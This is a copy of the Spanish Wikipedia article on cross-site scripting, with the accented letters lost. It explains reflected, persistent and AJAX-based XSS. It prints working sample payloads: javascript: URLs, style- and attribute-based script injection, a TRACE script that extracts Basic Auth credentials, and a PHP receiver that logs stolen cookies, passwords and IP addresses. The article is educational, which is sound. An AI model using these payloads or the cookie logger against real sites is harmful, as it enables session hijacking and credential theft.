Está en la página 1de 5

3/10/2014 Cross-site scripting - Wikipedia, la enciclopedia libre

http://es.wikipedia.org/wiki/Cross-site_scripting 1/5
Cross-site scripting
De Wikipedia, la enciclopedia libre
XSS, del ingls Cross-site scripting es un tipo de inseguridad informtica o
agujero de seguridad tpico de las aplicaciones Web, que permite a una tercera
parte inyectar en pginas web vistas por el usuario cdigo JavaScript o en otro
lenguaje script similar (ej: VBScript), evitando medidas de control como la
Poltica del mismo origen. Este tipo de vulnerabilidad se conoce en espaol con
el nombre de Secuencias de comandos en sitios cruzados.
1
Es posible encontrar una vulnerabilidad XSS en aplicaciones que tengan entre
sus funciones presentar la informacin en un navegador web u otro contenedor
de pginas web. Sin embargo, no se limita a sitios web disponibles en Internet,
ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el
navegador en s.
XSS es un vector de ataque que puede ser utilizado para robar informacin
delicada, secuestrar sesiones de usuario, y comprometer el navegador,
subyugando la integridad del sistema. Las vulnerabilidades XSS han existido
desde los primeros das de la Web.
2
Esta situacin es usualmente causada al no validar correctamente los datos de
entrada que son usados en cierta aplicacin, o no sanear la salida
adecuadamente para su presentacin como pgina web.
Esta vulnerabilidad puede estar presente de las siguientes formas:
Directa (tambin llamada Persistente): este tipo de XSS comnmente
filtrado, y consiste en embeber cdigo HTML peligroso en sitios que lo
permitan; incluyendo as etiquetas como <script> o <iframe>.
Indirecta (tambin llamada Reflejada): este tipo de XSS consiste en
modificar valores que la aplicacin web utiliza para pasar variables entre
dos pginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta
en la URL del navegador, en una cookie, o cualquier otra cabecera HTTP (en
algunos navegadores y aplicaciones web, esto podra extenderse al DOM
del navegador).
ndice
1 XSS Indirecto (reflejado)
2 XSS Directo (persistente)
3 AJAX
4 Enlaces externos
3/10/2014 Cross-site scripting - Wikipedia, la enciclopedia libre
http://es.wikipedia.org/wiki/Cross-site_scripting 2/5
4 Enlaces externos
5 Notas y referencias
XSS Indirecto (reflejado)
Supongamos que un sitio web tiene la siguiente forma:
http://www.example.com/home.asp?frame=menu.asp
y que al acceder se crear un documento HTML enlazando con un frame a
menu.asp.
En este ejemplo, qu pasara si se pone como URL del frame un cdigo
javascript?
javascript:while(1)alert("Este mensaje saldr indefinidamente");
Si este enlace lo pone un atacante hacia una vctima, un visitante podr verlo y
ver que es del mismo dominio, suponiendo que no puede ser nada malo y de
resultado tendr un bucle infinito de mensajes.
Un atacante en realidad tratara de colocar un script que robe las cookies de la
vctima, para despus poder personificarse como con su sesin, o hacer
automtico el proceso con el uso de la biblioteca cURL o alguna similar. De esta
forma, al recibir la cookie, el atacante podra ejecutar acciones con los permisos
de la vctima sin siquiera necesitar su contrasea.
Otro uso comn para estas vulnerabilidades es lograr hacer phishing. Quiere
ello decir que la vctima ve en la barra de direcciones un sitio, pero realmente
est en otra. La vctima introduce su contrasea y se la enva al atacante.
Una pgina como la siguiente:
error.php?error=Usuario%20Invalido
es probablemente vulnerable a XSS indirecto, ya que si escribe en el
documento "Usuario Invlido", esto significa que un atacante podra insertar
HTML y JavaScript si as lo desea.
3/10/2014 Cross-site scripting - Wikipedia, la enciclopedia libre
http://es.wikipedia.org/wiki/Cross-site_scripting 3/5
Por ejemplo, un tag como <script> que ejecute cdigo javascript, cree otra
sesin bajo otro usuario y mande la sesin actual al atacante.
Para probar vulnerabilidades de XSS en cookies, se puede modificar el
contenido de una cookie de forma sencilla, usando el siguiente script. Slo se
debe colocar en la barra de direcciones, y presionar 'Enter'.
javascript:void prompt("Introduce la cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie=_;});
XSS Directo (persistente)
Funciona localizando puntos dbiles en la programacin de los filtros de HTML si
es que existen, para publicar contenido (como blogs, foros, etc.).
Normalmente el atacante tratara de insertar tags como <iframe>, o <script>,
pero en caso de fallar, el atacante puede tratar de poner tags que casi siempre
estn permitidas y es poco conocida su capacidad de ejecutar cdigo. De esta
forma el atacante podra ejecutar cdigo malicioso.
Ejemplos:
Una posibilidad es usar atributos que permiten ejecutar cdigo.
<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://yoursite/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
Tambin se puede crear un DIV con background-image: url(javascript:eval(this.fu))
como estilo y aadir al DIV un campo llamado fu que contenga el cdigo a
ejecutar, por ejemplo:
<div fu="alert('Hola mundo');" STYLE="background-image: url(javascript:eval(this.fu))">
AJAX
3/10/2014 Cross-site scripting - Wikipedia, la enciclopedia libre
http://es.wikipedia.org/wiki/Cross-site_scripting 4/5
Usar AJAX para ataques de XSS no es tan conocido, pero s peligroso. Se basa
en usar cualquier tipo de vulnerabilidad de XSS para introducir un objeto
XMLHttp y usarlo para enviar contenido POST, GET, sin conocimiento del
usuario.
Este se ha popularizado con gusanos de XSS que se encargan de replicarse por
medio de vulnerabilidades de XSS persistentes (aunque la posibilidad de usar
XSS reflejados es posible).
El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticacin
de un sistema basado en Autenticacin Bsica (Basic Auth). Slo falta
decodificarlo, pero es ms fcil mandarlo codificado al registro de contraseas.
La codificacin es base64.
Script para obtener credenciales en tipo BASIC
Esta tcnica tambin es llamada XST, Cross Site Tracing.
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

// para firefox, es: var xmlhttp = new XMLHttpRequest();

xmlhttp.open("TRACE","./",false);

xmlhttp.send(null);

str1=xmlhttp.responseText;

splitString = str1.split("Authorization: Basic ");

str2=splitString[1];

str3=str2.match(/.*/)[0];

alert(str3);
Por cuestiones de seguridad, Mozilla Firefox y el Internet Explorer 6.2+ no
permiten usar el metodo TRACE.
Y este cdigo guardara un log con las cookies que enviara el atacante.
<?php

$archivo = fopen('log2.htm','a');

$cookie = $_GET['c'];

$usuario = $_GET['id'];

$ip = getenv ('REMOTE_ADDR');

$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");
3/10/2014 Cross-site scripting - Wikipedia, la enciclopedia libre
http://es.wikipedia.org/wiki/Cross-site_scripting 5/5

fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.htmlentities(base64_decode($usuario)));
fwrite($archivo, '<br />Cookie: '.htmlentities($cookie).'<br />Pagina: '.htmlentities($re));
fwrite($archivo, '<br /> IP: ' .$ip. '<br /> Fecha y Hora: ' .$fecha. '</hr>');

fclose($archivo);

?>
Enlaces externos
XSS FAQ (http://www.cgisecurity.com/articles/xss-faq.shtml)
Ejemplo completo (SOAagenda.com)
(http://soaagenda.com/journal/articulos/cross-site-scripting/)
JaSiLDBG (http://jasildbg.googlepages.com/)
XSS Cheat Sheet (http://ha.ckers.org/xss.html)
Ejemplo de problemas generados por una vulnerabilidad de XSS
(http://www.hacktimes.com/robo_de_sesiones_http_mediante_xss/)
Filtro anti-XSS para aplicaciones web basadas en Java
(http://ricardozuasti.com/2012/stronger-anti-cross-site-scripting-xss-
filter-for-java-web-apps/)
Notas y referencias
1. INTECO: Tipos de Vulnerabilidades
http://cert.inteco.es/Formacion/Amenazas/Vulnerabilidades/Tipos_Vulnerabilidades/
2. Jeremiah Grossma; Robert Hansen; Petko D. Petkov; Anton Rager;Seth Forgie
(2007). Seth Forgie, ed. XSS Attacks: Cross site scripting Exploits and Defense (en
ingls). p. 11. ISBN 1597491543.
Obtenido de http://es.wikipedia.org/w/index.php?title=Cross-
site_scripting&oldid=76572847
Categoras: Hacking Problemas de seguridad informtica
Esta pgina fue modificada por ltima vez el 25 ago 2014 a las 14:58.
El texto est disponible bajo la Licencia Creative Commons Atribucin
Compartir Igual 3.0; podran ser aplicables clusulas adicionales. Lanse
los trminos de uso para ms informacin.
Wikipedia es una marca registrada de la Fundacin Wikimedia, Inc., una
organizacin sin nimo de lucro.

También podría gustarte